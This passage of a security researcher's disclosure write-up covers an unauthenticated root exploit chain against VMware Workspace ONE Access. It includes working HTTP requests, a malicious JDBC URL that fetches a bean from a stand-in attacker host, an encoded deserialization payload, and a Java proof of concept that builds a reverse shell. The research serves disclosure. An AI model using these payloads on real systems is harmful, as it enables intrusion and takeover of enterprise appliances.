/*     */   public OAuth2ClientActivationDetails activateOauth2Client(@ApiParam(value = "the activation code", required = true) @RequestBody String activationCode, HttpServletRequest request) throws MyOneLoginException {
/* 102 */     OrganizationRuntime organizationRuntime = getOrgRuntime(request);
/*     */     try {
/* 104 */       return this.activationTokenService.activateAndGetOAuth2Client(organizationRuntime.getOrganization(), activationCode);
/* 105 */     } catch (EncryptionException e) {
/* 106 */       throw new BadRequestException("invalid.activation.code", e, new Object[0]);
/* 107 */     } catch (MyOneLoginException e) {
/*     */
/* 109 */       if (e.getCode() == 80480 || e.getCode() == 80476 || e.getCode() == 80440 || e.getCode() == 80558) {
/* 110 */         throw new BadRequestException("invalid.activation.code", e, new Object[0]);
/*     */       }
/* 112 */       throw e;
/*     */     } 
/*     */   }

This is enough for an attacker to then exchange the client_id and client_secret for an OAuth2 token to achieve a complete authentication bypass. Now, this wouldn’t have been so easily exploitable if no default OAuth2 clients were present, but as it turns out. There are two internal clients installed by default:

We can verify this when we check the database on the system:

These clients are created in several locations, one of them is in the com.vmware.horizon.rest.controller.system.BootstrapController class. I won’t bore you will the full stack trace, but it essentially leads to a call to createTenant in the com.vmware.horizon.components.authentication.OAuth2RemoteAccessServiceImpl class:

/*     */   public boolean createTenant(int orgId, String tenantId) {
/*     */     try {
/* 335 */       createDefaultServiceOAuth2Client(orgId); // 1
/* 336 */     } catch (Exception e) {
/* 337 */       log.warn("Failed to create the default service oauth2 client for org " + tenantId, e);
/* 338 */       return false;
/*     */     }
/* 340 */     return true;
/*     */   }

At [1] the code calls createDefaultServiceOAuth2Client:

/*     */   @Nonnull
/*     */   @Transactional(rollbackFor = {MyOneLoginException.class})
/*     */   @ReadWriteConnection
/*     */   public OAuth2Client createDefaultServiceOAuth2Client(int orgId) throws MyOneLoginException {
/* 116 */     OAuth2Client oAuth2Client = this.oauth2ClientService.getOAuth2Client(orgId, "Service__OAuth2Client");
/* 117 */     if (oAuth2Client == null) {
/* 118 */       Organizations firstOrg = this.organizationService.getFirstOrganization();
/* 119 */       if (firstOrg.getId().intValue() == orgId) {
/* 120 */         log.info("Creating service_oauth2 client for root tenant.");
/* 121 */         return createSystemScopedServiceOAuth2Client(firstOrg, "Service__OAuth2Client", null, "admin system"); // 2
/*     */       }
/*     */     //...
/* 131 */     return oAuth2Client;
/*     */   }

The code at [2] calls createSystemScopedServiceOAuth2Client which, as the name suggests creates a system scoped oauth2 client using the clientId “Service__OAuth2Client”. I actually found another authentication bypass documented as SRC-2022-0007 using variant analysis, however it impacts only the cloud environment due to the on-premise version not loading the authz Spring profile by default.

DBConnectionCheckController dbCheck JDBC Injection Remote Code Execution Vulnerability

The com.vmware.horizon.rest.controller.system.DBConnectionCheckController class exposes a method called dbCheck

/*     */   @RequestMapping(method = {RequestMethod.POST}, produces = {"application/json"})
/*     */   @ProtectedApi(resource = "vrn:tnts:*", actions = {"tnts:read"})
/*     */   @ResponseBody
/*     */   public RESTResponse dbCheck(@RequestParam(value = "jdbcUrl", required = true) String jdbcUrl, @RequestParam(value = "dbUsername", required = true) String dbUsername, @RequestParam(value = "dbPassword", required = true) String dbPassword) throws MyOneLoginException {
/*     */     String driverVersion;
/*     */     try {
/*  76 */       if (this.organizationService.countOrganizations() > 0L) { // 1
/*  77 */         assureAuthenticatedApiAdmin(); // 2
/*     */       }
/*  79 */     } catch (Exception e) {
/*  80 */       log.info("Check for existing organization threw an exception.", driverVersion);
/*     */     }
/*     */
/*     */     try {
/*  84 */       String encryptedPwd = configEncrypter.encrypt(dbPassword);
/*  85 */       driverVersion = this.dbConnectionCheckService.checkConnection(jdbcUrl, dbUsername, encryptedPwd); // 3
/*  86 */     } catch (PersistenceRuntimeException e) {
/*  87 */       throw new MyOneLoginException(HttpStatus.NOT_ACCEPTABLE.value(), e.getMessage(), e);
/*     */     }
/*  89 */     return new RESTResponse(Boolean.valueOf(true), Integer.valueOf(HttpStatus.OK.value()), driverVersion, null);
/*     */   }

At [1] the code checks to see if there are any existing organizations (there will be if it’s set-up correctly) and at [2] the code validates that an admin is requesting the endpoint. At [3] the code calls DbConnectionCheckServiceImpl.checkConnection using the attacker controlled jdbcUrl.

/*  73 */   public String checkConnection(String jdbcUrl, String username, String password) throws PersistenceRuntimeException { return checkConnection(jdbcUrl, username, password, true); }
/*     */   public String checkConnection(@Nonnull String jdbcUrl, @Nonnull String username, @Nonnull String password, boolean checkCreateTableAccess) throws PersistenceRuntimeException {
/*  87 */     connection = null;
/*  88 */     String driverVersion = null;
/*     */     try {
/*  90 */       loadDriver(jdbcUrl);
/*  91 */       connection = testConnection(jdbcUrl, username, password, checkCreateTableAccess); // 4
/*  92 */       meta = connection.getMetaData();
/*  93 */       driverVersion = meta.getDriverVersion();
/*  94 */     } catch (SQLException e) {
/*  95 */       log.error("connectionFailed");
/*  96 */       throw new PersistenceRuntimeException(e.getMessage(), e);
/*     */     } finally {
/*     */       try {
/*  99 */         if (connection != null) {
/* 100 */           connection.close();
/*     */         }
/* 102 */       } catch (Exception e) {
/* 103 */         log.warn("Problem closing connection", e);
/*     */       }
/*     */     }
/* 106 */     return driverVersion;
/*     */   }

The code calls DbConnectionCheckServiceImpl.testConnection at [4] with an attacker controlled jdbcUrl string.

/*     */   private Connection testConnection(String jdbcUrl, String username, String password, boolean checkCreateTableAccess) throws PersistenceRuntimeException {
/*     */     try {
/* 124 */       Connection connection = this.factoryHelper.getConnection(jdbcUrl, username, password); // 5
/*     */
/*     */
/* 127 */       log.info("sql verification triggered");
/* 128 */       this.factoryHelper.sqlVerification(connection, username, Boolean.valueOf(checkCreateTableAccess));
/*     */
/* 130 */       if (checkCreateTableAccess) {
/* 131 */         return testCreateTableAccess(jdbcUrl, connection);
/*     */       }
/*     */
/* 134 */       return testUpdateTableAccess(connection);
/*     */     }

The code calls FactoryHelper.getConnection at [5].

/*     */     public Connection getConnection(String jdbcUrl, String username, String password) throws SQLException {
/*     */       try {
/* 427 */         return DriverManager.getConnection(jdbcUrl, username, password); // 6
/* 428 */       } catch (Exception ex) {
/* 429 */         if (ex.getCause() != null && ex.getCause().toString().contains("javax.net.ssl.SSLHandshakeException")) {
/* 430 */           log.info(String.format("ssl handshake failed for the user:%s ", new Object[] { username }));
/* 431 */           throw new SQLException("database.connection.ssl.notSuccess");
/*     */         }
/* 433 */         log.info(String.format("Connection failed for the user:%s ", new Object[] { username }));
/* 434 */         throw new SQLException("database.connection.notSuccess");
/*     */       }
/*     */     }

Finally, at [6] the attacker can reach a DriverManager.getConnection sink which will lead to an arbitrary JDBC URI connection. Given the flexibility of JDBC, the attacker can use any of the deployed drivers within the application. This vulnerability can lead to remote code execution as the horizon user which will be discussed in the exploitation section.

publishCaCert and gatherConfig Privilege Escalation

After gaining remote code execution as the horizon user, we can exploit the following vulnerability to gain root access. This section contains two bugs, but I decided to report it as a single vulnerability due to the way I (ab)used them in the final exploit chain.

  1. The publishCaCert.hzn script allows attackers to disclose sensitive files.
  2. The gatherConfig.hzn script allows attackers to take ownership of sensitive files

These scripts can be executed by the horizon user with root privileges without a password using sudo. They were not writable by the horizon user so I audited the scripts for logical issues to escalate cleanly.

  1. publishCaCert.hzn:

    For this bug we can see that it will take a file on the command line and copy it to /etc/ssl/certs/ at [1] and then make it readable/writable by the owner at [2]!

    #!/bin/sh
    
    #Script to isolate sudo access to just publishing a single file to the trusted certs directory
    
    CERTFILE=$1
    DESTFILE=$(basename $2)
    
    cp -f $CERTFILE /etc/ssl/certs/$DESTFILE // 1
    chmod 644 /etc/ssl/certs/$DESTFILE // 2
    c_rehash > /dev/null
    
  2. gatherConfig.hzn:

    For taking ownership, we can use a symlink called debugConfig.txt and point it to a root owned file at [1].

    #!/bin/bash
    #
    # Minor: Copyright 2019 VMware, Inc. All rights reserved.
    . /usr/local/horizon/scripts/hzn-bin.inc
    . /usr/local/horizon/scripts/manageTcCfg.inc
    DEBUG_FILE=$1
    
    #...
    
    function gatherConfig()
    {
        printLines
        echo "1) cat /usr/local/horizon/conf/flags/sysconfig.hostname" > ${DEBUG_FILE}
        #...
        chown $TOMCAT_USER:$TOMCAT_GROUP $DEBUG_FILE // 1
    }
    
    if [ -z "$DEBUG_FILE" ]
    then
        usage
    else
        DEBUG_FILE=${DEBUG_FILE}/"debugConfig.txt"
        gatherConfig
    fi
    

Exploitation

OAuth2TokenResourceController ACS Authentication Bypass

  1. First, we can grab the activationToken.

    Request:

    POST /SAAS/API/1.0/REST/oauth2/generateActivationToken/Service__OAuth2Client HTTP/1.1
    Host: photon-machine
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 0
    

    Response:

    {
     "activationToken": "eyJvdGEiOiJiNmRlZmFkOS1iY2M3LTM3ZWUtYTdkZi05YTM2ZDcxZDU4MGE6c0dJcnlObEhxREVnUW...",
     "_links": {}
    }
    
  2. Now, with the activation token let’s get the client_id and client_secret.

    Request:

    POST /SAAS/API/1.0/REST/oauth2/activate HTTP/1.1
    Host: photon-machine
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 168
    
    eyJvdGEiOiJiNmRlZmFkOS1iY2M3LTM3ZWUtYTdkZi05YTM2ZDcxZDU4MGE6c0dJcnlObEhxREVnUW...
    

    Response:

    {
     "client_id": "Service__OAuth2Client",
     "client_secret": "uYkAzg1woC1qbCa3Qqd0i6UXpwa1q00o"
    }
    

From this point, exploitation is just the standard OAuth2 flow to grab a signed JWT.

DBConnectionCheckController dbCheck JDBC Injection Remote Code Execution

Technique 1 - Remote code execution via the MySQL JDBC Driver autoDeserialize

It was also possible to perform remote code execution via the MySQL JDBC driver by using the autoDeserialize property. The server would connect back to the attacker’s malicious MySQL server where it could deliver an arbitrary serialized Java object that could be deserialized on the server. As it turns out, the off the shell ysoserial CommonsBeanutils1 gadget worked a treat: java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 <cmd>.

This technique was first presented by Yang Zhang, Keyi Li, Yongtao Wang and Kunzhe Chai at Blackhat Europe in 2019. This was the technique I used in the exploit I sent to VMWare because I wanted to hint at their usage of unsafe libraries that contain off the shell gadget chains in them!

Technique 2 - Remote code execution via the PostgreSQL JDBC Driver socketFactory

It was possible to perform remote code execution via the socketFactory property of the PostgreSQL JDBC driver. By setting the socketFactory and socketFactoryArg properties, an attacker can trigger the execution of a constructor defined in an arbitrary Java class with a controlled string argument. Since the application was using Spring with a Postgres database, it was the perfect candidate to (ab)use FileSystemXmlApplicationContext!

Proof of Concept: jdbc:postgresql://si/saas?&socketFactory=org.springframework.context.support.FileSystemXmlApplicationContext&socketFactoryArg=http://attacker.tld:9090/bean.xml.

But of course, we can improve on this. Inspired by RicterZ, let’s say you want to exploit the bug without internet access. You can re-use the com.vmware.licensecheck.LicenseChecker class VMWare provides us and mix deserialization with the PostgreSQL JDBC driver attack.

Let’s walk from one of the LicenseChecker constructors, right to the vulnerable sink.

    public LicenseChecker(final String s) {
        this(s, true); // 1
    }

    public LicenseChecker(final String state, final boolean validateExpiration) {
        this._handle = new LicenseHandle();
        if (state != null) {
            this._handle.setState(state); // 2
        }
        this._validateExpiration = validateExpiration;
    }

At [1] the code calls another constructor in the same class with the parsed in string. At [2] the code calls setState on the LicenseHandle class:

    public void setState(String var1) {
        if (var1 != null && var1.length() >= 1) {
            try {
                byte[] var2 = MyBase64.decode(var1); // 3
                if (var2 != null && this.deserialize(var2)) { // 4
                    this._state = var1;
                    this._isDirty = false;
                }
            } catch (Exception var3) {
                log.debug(new Object[]{"failed to decode state: " + var3.getMessage()});
            }

        }
    }

At [3] the code base64 decodes the string and at [4] the code then calls deserialize:

    private boolean deserialize(byte[] var1) {
        if (var1 == null) {
            return true;
        } else {
            try {
                ByteArrayInputStream var2 = new ByteArrayInputStream(var1);
                DataInputStream var3 = new DataInputStream(var2);
                int var4 = var3.readInt();
                switch(var4) {
                case -889267490:
                    return this.deserialize_v2(var3); // 5
                default:
                    log.debug(new Object[]{"bad magic: " + var4});
                }
            } catch (Exception var5) {
                log.debug(new Object[]{"failed to de-serialize handle: " + var5.getMessage()});
            }

            return false;
        }
    }

You can probably see where this is going already. At [5] the code calls deserialize_v2 if a supplied int is -889267490:

    private boolean deserialize_v2(DataInputStream var1) throws IOException {
        byte[] var2 = Encrypt.readByteArray(var1);
        if (var2 == null) {
            log.debug(new Object[]{"failed to read cipherText"});
            return false;
        } else {
            try {
                byte[] var3 = Encrypt.decrypt(var2, new String(keyBytes_v2)); // 6
                if (var3 == null) {
                    log.debug(new Object[]{"failed to decrypt state data"});
                    return false;
                } else {
                    ByteArrayInputStream var4 = new ByteArrayInputStream(var3);
                    ObjectInputStream var5 = new ObjectInputStream(var4);
                    this._htEvalStart = (Hashtable)var5.readObject(); // 7
                    log.debug(new Object[]{"restored " + this._htEvalStart.size() + " entries from state info"});
                    return true;
                }
            } catch (Exception var6) {
                log.warn(new Object[]{var6.getMessage()});
                return false;
            }
        }
    }

At [6] the code will call decrypt, and decrypt the string using a hardcoded key. Then at [7] the code will call readObject on the attacker supplied string. At this point we could supply our deserialization gadget right into the jdbc uri string, removing any outgoing connection requirement! Here is a proof of concept to execute the command touch /tmp/pwn:

jdbc:postgresql://si/saas?socketFactory=com.vmware.licensecheck.LicenseChecker%26socketFactoryArg=yv7a3gAACwQAAAAIUhcrRObG2UIAAAAQoz1rm0A08QaIZG2jKm3PvgAACuBO%252Bkf56P3LYUtlxM%252Fd9BtAjxDOFJAiL9KmHfk1p01I544KCUNyVi2UpONDLJHejQCbZi20R8JW3zg879309FDfjSabzvJ2PxvJafQqei8egUOn32BJngdb1r0jwJ8rrxsheJQc3BXJny6pma9pHciqmjJUioTfyKousm%252Fk8YiId8nFu0IX2yQS3GkvV%252FUHCz06KusffoQatuTOL465%252BChdQG88W9FGawgr7Pc9TzZTDZoy%252Bel83sU9hFqcW0oaDgQGtvsVjovnL71fsbQ2ik4C0p8lKxgGRamJmZKl5UvrWpgbOoi5ueTPvr2RgsvyrYno%252Bg3EghzuYjfgdG5owEIPAbHY39mgsjnFR5VZlJR6xmeEkadeGYfvhv%252FU9X57N6a3jmUvCpd50a96GQawp%252BmnfNx5hvp7z%252BjKuSecJ9ruTClM7P9XnU0hspHYgPIXk085Vhdh0P%252BECl%252F7pAAq0rZVEittj43DZhRDbvjqnEbd%252FvueXUK3e0Ld7PZ5oZa055dPxI7uw9FPYMEGnq6WLjFAyZT13QrnITd7uESJE82ZCgDLT7V81UHv3E9DPFPsryRITA9wAu4EycM4aGlh%252FcJzmxKCG%252Fcrt9FvzeQd4SGxhOK7i2I%252B4OUy8mjKgDh4dajVM8cVEogVqnyPWCP7ZYJsPrUlx2F6lhGo53%252BuBQzMzu2IerBZRVeE43CsxfBW1073y8FRYxX8A8w%252BaGikZUcanJ6T%252FfW0z7ENfTTXJYzt%252BNaEsZo5Q2FTeOgzg9%252BLE9d64w7P4SZ5HjIl4xnji2KjUZ2%252FGzzRhSxbsy3EyHvWJurBaNx1mOuYReexqHe7Va1mKjJHizU88T9kn6IVc8yCO9npFl%252Bh4uLAiruwHCC0YZK4O%252F%252BmfOb%252Fb3WescghMkp2s%252FxMe4bfjeomQWqzobztKry32vWM%252BovpDJHbOlTANviW50AzaXCVjGF10Ch86XAsHyiEpb44CzaMSWXV%252BfnQFw%252FRgY9uhv%252FUoUtxZs%252FmOpzSxgywFUNGaC1%252FoMXWmqJ5pne2fO2tH3EYyLhBIbK4GpTY5vzC8yRqYAyVW6LgkK%252FLZerScwc49NjWLZXMYOr9bsH2Ed2TEoy5sYUnMPmN19%252FZQqYWO2N1UaCV1D7F9V3z6fKRuhq0EyNj5RvXg%252BdUz%252FBuUzoju7Rbky1dYg3mQr4AbX94bi%252FLK5mdWlPcavJJlmBJGpxClGQmE%252BxpW2WVrQtAOGJrlcC0oTJSbe8ynPWoXbhqW3uXsNU2r5a2axQgNJfQDGomgtViDeqARbMrAoicMHIUH%252B1GDv9tLwaKMcBJC48ENoUrUfaFn68S9pFesqvjzvMB0Q%252BLmiXF9pfO02fVG5FWuMwouEYANrbnbL7MiPqoGPTwS6547LJh%252BScQ4dYc1Ga%252Bqfxh0NCXSfeetVdY7w7rilctRpe%252Fgchj6Q7SAK2%252BcX%252B0qlozTXdBhYvCOgWoXf5OYelsPJp%252BYPylKJyKC4v1fPskeZic8SA5EPKBQGmcwP09BmwD6J7t9GFMyvnxgl1Zlr5EggDqT7QXW0RhH4e%252FM7Jjhp4D%252F%252F1y8nfEfM23MqrRSZ%252B33P5xMXrbA7SgUbaC8fFlma85xpcaS1VBvs4%252FvUNs5Wsl9D2hAsiiBFu3vQiGXJVsB7KmV8Vuh2shiD8Akq5R2%252F3oSb1t%252BLm0ZcIP4MYLtvGkyfBXj81C3KKKNta4tZTpZW7MfeiXo%252FMoorn06fxlh7elFoPYLZ5eA7DB0jwBtUJ1Ay4xNgL24DnQlIwWkTrZJvdIzs0zTvFv3yYvgq4CaNwDDBbGdYufSRULnI8BAJgedXQqVkV9a3W4nK%252FYCMyczUZ%252FI2Nsslf4zqb3s1RJltGAPsHoR7YjKC1iZG1b%252BYGSN%252FyCW6RZJGxESArr3a1pcNndQUIzabKjIotYOFtMdrAdF9xXKNcMYN8qdFhAJ6PUkS%252FRuu%252F7YxM9xzpN9%252Br4JuuwnO8P6n4l9mib8J6ElX1GXw5Tc7MpdVcW%252BUqkKRLICuh1H5f53E8MO4ESJ2Ku56xvNZyJ0Ai2LDzumgORDeVJa4BLrUgeRkTZqOkYdRWHXrFTTP9HFgXobAQqj75nRkpFEQMEzbKSjdQAU%252B%252Bq2730wMh5LuVRui7HUPnvUCZDpkgDr9GDMGJitt%252FU6RtHqQmYB%252B%252FpFLr7m3g1tazYHvEyrQjBKdhv2FfijNtYaskJqkqPx3uRMSy%252F5l6wmQQlwbOTGXlAdUtVfKpO537dXFOofuN%252BuzIAQdXaLRddhE7fFhhrMwQXuj1jCDi70d%252FWBsy6lHxephuN5ANcl3IuGhx4MV0XRbZpt4MpGqJ2eZM18UCyk%252Fg4a%252Bgp0eRQWgA3KPJ9pZJiGk8EBFBeqsu2Y%252BIcVjGLKzghcdPpsBt3ef1TKUO0DZbS2RLMvA1dtq1vxGYuAIMHJ%252BxREAwSywn7ON9RqrF56hS91rlYJfBjPC%252FSurUVD98wa9WjqygmVsiI78QzExmrAmstUz5WsvLFl%252BoYKR%252FRLKYtjihNvFaSPYkbRNJ1GzKL0ZOXMyDJ3KcPeSkJa13vbJqmBO1JAuG8sfuRXjmaYNWdXI%252Bb%252Bkhs4V5o9IYnehTZgj4LHS7idmBjbWskldTDZHxofnnGKZenTPzbfsCzDKaGg5evEO6qpk%252FegKKK6ORyfxulQB0%252B5wzl0Z1TW3eLuRzi8jeo%252Fx3OOqgbLIqnfWFFfhezTnSYYBJdVEC4hwRksjZ9AReieEKYeZyqb1Hybg4w3q1H2I16iH4ku5R%252FCJnZBHcgPRZniF1Bohq79vgyJs9MAsfTwc%252F%252BAXUBbV8DnfdxoWwzLms6cqP2Bcuu86qORtOE4K5fNMEvYAy30%252FE70zdZoNMS%252BOsb0Lbl1cuxVpuwza0herBOLDBNlPMbi90pQ7Mt6OA7VwCiUW3TsdivLEPYKBQ3q5a5R0DEScmh5Y9BGYxgwXKfACbTjXHkrCcGLwSxTvEFJ4sjTxa%252By3rgVjWTXaRy91GRfcoNouIBmY%252FDj1ilIYPRBTP23a9IdO4M%252F4R%252FLlX454wJksnuTu6sTID7G1ELvBHCyFxjMAl0meovxnI1uZ6PuWDaC5ax4WIeG2PodvqHKdRLbU0OzmD8XyjdxY4c%252F%252FJQRl85xQ8LdlgWMrTTIlWy6jf0Z2ERwc5Oi7DK5WMZD9p2b3lARlNgo0LORSenjefQkIjAqEXXLpRYTAeJXmHJiK3iCnrNO2R8QmdujTPQthLQaAnoDuHf7Mt1iWnUTuwYv9e64ndK7lZ3%252FBjb4MYssgc9PavSz9tAP00jZXZbq%252BM2zl2AukG0IMtunNv86dO%252BlekCjSgv%252BGH7KxNa5Yb1dlvR62c2vhE8U%252Bq%252BEU7CR4Z8lfJoAYrHMcWqlerIdc44GskzJVKb4LbpLqCMQFx3Gh%252Fq%252FwuwguPLDiQCNnyta5d9QO3aoY4BkzimWshsgyJzesREag3YehFjvfUSl%252B2Ytn5J2aHZmx3tOPrh1fa6480lb%252BWC%252Bex40M4RjPXOQKxB07UWUvumml%252BYwA8jqCcwhz0n2gHUsFHq4UovgBlETV9r7uOTX6hDHO5ztgca6c1KUINt1LA2EzFd6Hedjzx5%252FjVJb8SyviMQl4SyCeyPRS8FMGkPda8oGAiPGyc99tcQg6XItDYG0XIw%252BN59tQ8Pvfx9EBM1TOcP7NGWb7LdZixcDnLDBw77kVwxJEvcGZ2sTqIG7VdZvNsGupRwLqqeLkEpQM4%253D

Note that your payload will need to double encode special characters. To generate the state string, I re-used VMWare’s classes:

import com.vmware.licensecheck.LicenseChecker;
import com.vmware.licensecheck.LicenseHandle;
import com.vmware.licensecheck.MyBase64;
import ysoserial.payloads.ObjectPayload.Utils;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.util.Hashtable;
import java.io.*;

public class Poc {
    public static void main(String[] args) throws Exception {
        String shell = MyBase64.encode("bash -c \"bash -i >& /dev/tcp/10.0.0.1/1234 0>&1\"".getBytes());
        Object payload = Utils.makePayloadObject("CommonsBeanutils1", String.format("sh -c [email protected]|sh . echo echo %s|base64 -d|bash", shell));
        LicenseChecker lc = new LicenseChecker(null);
        Field handleField = LicenseChecker.class.getDeclaredField("_handle");
        handleField.setAccessible(true);
        LicenseHandle lh = (LicenseHandle)handleField.get(lc);
        Field htEvalStartField = LicenseHandle.class.getDeclaredField("_htEvalStart");
        htEvalStartField.setAccessible(true);
        Field isDirtyField = LicenseHandle.class.getDeclaredField("_isDirty");
        isDirtyField.setAccessible(true);
        Hashtable<Integer, Object> ht = new Hashtable<Integer, Object>();
        ht.put(1337, payload);
        htEvalStartField.set(lh, ht);
        isDirtyField.set(lh, true);
        handleField.set(lc, lh);
        String payload = URLEncoder.encode(URLEncoder.encode(lc.getState(), "UTF-8"), "UTF-8");
        System.out.println(String.format("(+) jdbc:postgresql://si/saas?socketFactory=com.vmware.licensecheck.LicenseChecker%%26socketFactoryArg=%s", payload));
    }
}

I have included the licensecheck-1.1.5.jar library in the exploit directory so that the exploit can be re-built and replicated. It should be noted that the first connection to a PostgreSQL database doesn’t need to be established for the attack to succeed so an invalid host/port is perfectly fine. Details about this attack and others similar to it can be found in the excellent blog post by Xu Yuanzhen.

The final point I will make about this is that the LicenseChecker class could have also been used to exploit CVE-2021-21985 since the licensecheck-1.1.5.jar library was loaded into the target vCenter process coupled with publicly available gadget chains.

publishCaCert and gatherConfig Privilege Escalation

This exploit was straight forward and involved overwriting the permissions of the certproxyService.sh script so that it can be modified by the horizon user.

Proof of Concept

I built three exploits called Hekate (that’s pronounced as heh-ka-teh). The first exploit leverages the MySQL JDBC driver and the second exploit leverages the PostgreSQL JDBC driver. Both exploits target the server and client sides, requiring an outbound connection to the attacker.

The third exploit leverages the PostgreSQL JDBC driver again, this time re-using the com.vmware.licensecheck.* classes and avoids any outbound network connections to the attacker. This is the exploit that was demonstrated at Black Hat USA 2022.

All three exploits can be downloaded here: https://github.com/sourceincite/hekate/.

Server-side Client-side

All the vulnerabilities used in Hekate also impacted the cloud version of the VMWare Workspace ONE Access in its default configuration.

Exposure

Using a quick favicon hash search, Shodan reveals ~700 active hosts were vulnerable at the time of discovery. Although the exposure is limited, the systems impacted are highly critical. An attacker will be able to gain access to third party systems, grant assertions and breach the perimeter of an enterprise network all of which can’t be done with your run-of-the-mill exposed IoT device.

Conclusion

The limitations of CVE-2020-4006 was that it required authentication and it was targeting port 8443. In comparison, this attack chain targets port 443 which is much more likely exposed externally. Additionally, no authentication was required all whilst achieving root access making it quite disastrous and results in the complete compromise of the affected appliance. Finally, it can be exploited in a variety of ways such as client-side or server-side without the requirement of a deserialization gadget.

References

  1. https://i.blackhat.com/eu-19/Thursday/eu-19-Zhang-New-Exploit-Technique-In-Java-Deserialization-Attack.pdf
  2. https://landgrey.me/blog/11/
  3. https://conference.hitb.org/files/hitbsecconf2021sin/materials/D1T2 - Make JDBC Attacks Brilliant Again - Xu+Yuanzhen & Chen Hongkun.pdf
  4. https://github.com/su18/JDBC-Attack
  5. https://pyn3rd.github.io/2022/06/06/Make-JDBC-Attacks-Brillian-Again-I/
  6. https://pyn3rd.github.io/2022/06/02/Make-JDBC-Attacks-Brilliant-Again/
❌